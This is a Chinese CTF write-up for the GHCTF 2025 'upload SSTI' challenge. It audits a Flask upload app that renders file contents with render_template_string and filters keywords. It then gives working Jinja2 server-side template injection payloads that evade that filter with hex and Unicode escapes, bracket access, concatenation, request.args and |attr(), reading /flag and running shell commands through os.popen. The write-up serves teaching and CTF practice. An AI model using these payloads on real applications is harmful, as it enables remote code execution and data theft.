GHCTF 2025 upload SSTI!

Pasted image 20260305224754.png

一、访问题目

Pasted image 20260306214523.png

下载源码app.py

二、代码审计

import os  
import re  
  
from flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect  
from werkzeug.utils import secure_filename  
import os  
from werkzeug.utils import secure_filename  
  
app = Flask(__name__)  
  
# 配置信息  
UPLOAD_FOLDER = 'static/uploads'  # 上传文件保存目录  
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}  
MAX_CONTENT_LENGTH = 16 * 1024 * 1024  # 限制上传大小为 16MB  
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER  
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH  
  
# 创建上传目录(如果不存在)  
os.makedirs(UPLOAD_FOLDER, exist_ok=True)  
def is_safe_path(basedir, path):  
    return os.path.commonpath([basedir,path])  
  
  
def contains_dangerous_keywords(file_path):  
    dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]  
  
    with open(file_path, 'rb') as f:  
        file_content = str(f.read())  
  
  
        for keyword in dangerous_keywords:  
            if keyword in file_content:  
                return True  # 找到危险关键字,返回 True  
    return False  # 文件内容中没有危险关键字  
def allowed_file(filename):  
    return '.' in filename and \  
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS  
  
  
@app.route('/', methods=['GET', 'POST'])  
def upload_file():  
    if request.method == 'POST':  
        # 检查是否有文件被上传  
        if 'file' not in request.files:  
            return jsonify({"error": "未上传文件"}), 400  
  
        file = request.files['file']  
  
        # 检查是否选择了文件  
        if file.filename == '':  
            return jsonify({"error": "请选择文件"}), 400  
  
        # 验证文件名和扩展名  
        if file and allowed_file(file.filename):  
            # 安全处理文件名  
            filename = secure_filename(file.filename)  
            # 保存文件  
            save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)  
            file.save(save_path)  
  
  
  
            # 返回文件路径(绝对路径)  
            return jsonify({  
                "message": "File uploaded successfully",  
                "path": os.path.abspath(save_path)  
            }), 200  
        else:  
            return jsonify({"error": "文件类型错误"}), 400  
  
    # GET 请求显示上传表单(可选)  
    return '''  
    <!doctype html>    <title>Upload File</title>    <h1>Upload File</h1>    <form method=post enctype=multipart/form-data>      <input type=file name=file>      <input type=submit value=Upload>    </form>    '''  
@app.route('/file/<path:filename>')  
def view_file(filename):  
    try:  
        # 1. 过滤文件名  
        safe_filename = secure_filename(filename)  
        if not safe_filename:  
            abort(400, description="无效文件名")  
  
        # 2. 构造完整路径  
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)  
  
        # 3. 路径安全检查  
        if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):  
            abort(403, description="禁止访问的路径")  
  
        # 4. 检查文件是否存在  
        if not os.path.isfile(file_path):  
            abort(404, description="文件不存在")  
  
        suffix=os.path.splitext(filename)[1]  
        print(suffix)  
        if suffix==".jpg" or suffix==".png" or suffix==".gif":  
            return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')  
  
        if contains_dangerous_keywords(file_path):  
            # 删除不安全的文件  
            os.remove(file_path)  
            return jsonify({"error": "Waf!!!!"}), 400  
  
        with open(file_path, 'rb') as f:  
            file_data = f.read().decode('utf-8')  
        tmp_str = """<!DOCTYPE html>  
        <html lang="zh">        <head>            <meta charset="UTF-8">            <meta name="viewport" content="width=device-width, initial-scale=1.0">            <title>查看文件内容</title>  
        </head>        <body>            <h1>文件内容:{name}</h1>  <!-- 显示文件名 -->            <pre>{data}</pre>  <!-- 显示文件内容 -->  
            <footer>                <p>&copy; 2025 文件查看器</p>  
            </footer>        </body>        </html>        """.format(name=safe_filename, data=file_data)  
  
        return render_template_string(tmp_str)  
  
    except Exception as e:  
        app.logger.error(f"文件查看失败: {str(e)}")  
        abort(500, description="文件查看失败:{} ".format(str(e)))  
  
  
# 错误处理(可选)  
@app.errorhandler(404)  
def not_found(error):  
    return {"error": error.description}, 404  
  
  
@app.errorhandler(403)  
def forbidden(error):  
    return {"error": error.description}, 403  
  
  
if __name__ == '__main__':  
    app.run("0.0.0.0",debug=False)
  • 分析代码,发现有ssti注入的可能
tmp_str = """<!DOCTYPE html>  
        <html lang="zh">        <head>            <meta charset="UTF-8">            <meta name="viewport" content="width=device-width, initial-scale=1.0">            <title>查看文件内容</title>  
        </head>        <body>            <h1>文件内容:{name}</h1>  <!-- 显示文件名 -->            <pre>{data}</pre>  <!-- 显示文件内容 -->  
            <footer>                <p>&copy; 2025 文件查看器</p>  
            </footer>        </body>        </html>        """.format(name=safe_filename, data=file_data)  
  
        return render_template_string(tmp_str)

render_template 是 Flask 框架中的一个函数,用于渲染 HTML 模板。它接受模板文件名作为第一个参数,并可以传递一组变量作为第二个参数。render_template_string()的作用和前者类似,但它直接接受字符串而不是模板文件,并使用 Jinja2 渲染。在html模板中name和data会被当做模板进行渲染,这样就可以通过注入恶意代码使得恶意代码被渲染从而造成ssti。

  • 获取文件上传后的路径
@app.route('/file/<path:filename>')

 with open(file_path, 'rb') as f:
            file_data = f.read().decode('utf-8')

上传成功后访问/file/文件名,并且以二进制文件的格式打开文件并使用utf-8的解码形式进行读取,如果目标是图像或者其它不能使用utf-8解码形式的文件,解析会报错,因此需要上传文本类型的文件。

  • waf
def contains_dangerous_keywords(file_path):  
dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]  
  
if contains_dangerous_keywords(file_path):  
    # 删除不安全的文件  
    os.remove(file_path)  
    return jsonify({"error": "Waf!!!!"}), 400

代码规定了黑名单,文件的内容中如果包含黑名单中的字符就会删除该文件并报错

三、waf绕过

1.传入{{7*7}}

Pasted image 20260306221120.png

成功解析为49,存在漏洞
Pasted image 20260306221110.png

2.waf绕过

方法一

  • 使用十六进制绕过敏感字符(如flag中的字母g、下划线)

  • 方括号 []替换.:Python允许通过obj["key"]的方式访问属性或字典的键,这种方式的属性名被包裹在字符串中,可以动态构造(比如拼接或编码),从而绕过WAF对固定模式的过滤

  • 使用Unicode 编码绕过敏感字符

  • 过滤关键字使用+拼接绕过

  • lipsum构造payload
    输入{{lipsum}}成功解析,说明该函数存在

    Pasted image 20260306223601.png

    Pasted image 20260306223139.png

十六进制\x5f替换_,中括号替换.,使用__globals__函数查看全局变量

{{lipsum["\x5f\x5fglobals\x5f\x5f"]}}

输入,成功解析,获取全局变量

Pasted image 20260306223544.png

Pasted image 20260306223534.png

调用__builtins__ 模块从全局变量中拿到 Python 内置函数字典,调用 open 函数读取 /flag文件内容,十六进制\x67替换g

{{lipsum["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["open"]("/fla\x67").read()}}

源payload

{{lipsum.__globals__.__builtins__.open('/flag').read()}}

Pasted image 20260306224223.png

Pasted image 20260306224232.png

成功获取payload

  • ''构造payload
    查看当前对象所属类
{{''["\x5f\x5fclass\x5f\x5f"]}}

Pasted image 20260306225928.png

Pasted image 20260306225938.png

构造payload:Unicode 编码,过滤关键字使用+拼接绕过

{{''["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsub"+"classes\x5f\x5f"]()[137]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]['open']('/\u0066\u006c\u0061\u0067').read()}}

源payload

{{''.__class__.__base__.__subclasses__()[137].__init__.__globals__.__builtins__.open('/flag').read()}}

Pasted image 20260306230724.png

Pasted image 20260306230733.png

方法二

request绕过:预设查询参数+从url中传递值拼接的方法来绕过直接对模板参数的过滤

request绕过详解:
request.args.xx 是 Python 的 Flask 框架中用于访问 URL 查询参数的一种方式。具体来说:
request 是 Flask 中的一个全局对象,代表当前的 HTTP 请求。
request.args 是一个字典-like 的对象(实际上是 MultiDict),它包含了 URL 中查询字符串(即 ? 后面的部分)中的所有参数。
xx 是查询参数的名称,通过 request.args.xx 可以获取对应参数的值。
例如,如果 URL 是 http://example.com/path?param1=value1$param1=value2,那么:
request.args['param1'] 返回 ‘value1’。
request.args['param2'] 返回 ‘value2’。
在 Jinja2 模板中,可以直接写 request.args.param1 来获取 ‘value1’。
简单来说,request.args.xx 就是从 URL 查询参数中提取名为 xx 的值的一种方法

构造payload:

{{''[request.args.x1][request.args.x2][0][request.args.x3]()[137][request.args.x4][request.args.x5]['popen']('cat /f*').read()}}

url:

?x1=__class__&x2=__bases__&x3=__subclasses__&x4=__init__&&x5=__globals__

将?及后面字符拼接到所上传文件的url后即可:

Pasted image 20260306231629.png

Pasted image 20260306231639.png

方法三

Unicode 编码+attr()绕过
.等价于|attr(),即''|attr("__class__")等效于''.__class__

{{lipsum.__globals__.get('os').popen('cat /f*').read()}}
{{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("cat /f*")|attr("\u0072\u0065\u0061\u0064")()}}

Pasted image 20260306232621.png

Pasted image 20260306232630.png

总结

  • 十六进制、Unicode 编码绕过关键字过滤
  • 方括号 []替换.
  • 过滤关键字使用+拼接绕过
  • request绕过:预设查询参数+从url中传递值拼接的方法来绕过直接对模板参数的过滤
  • attr()绕过:|attr()替换.
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇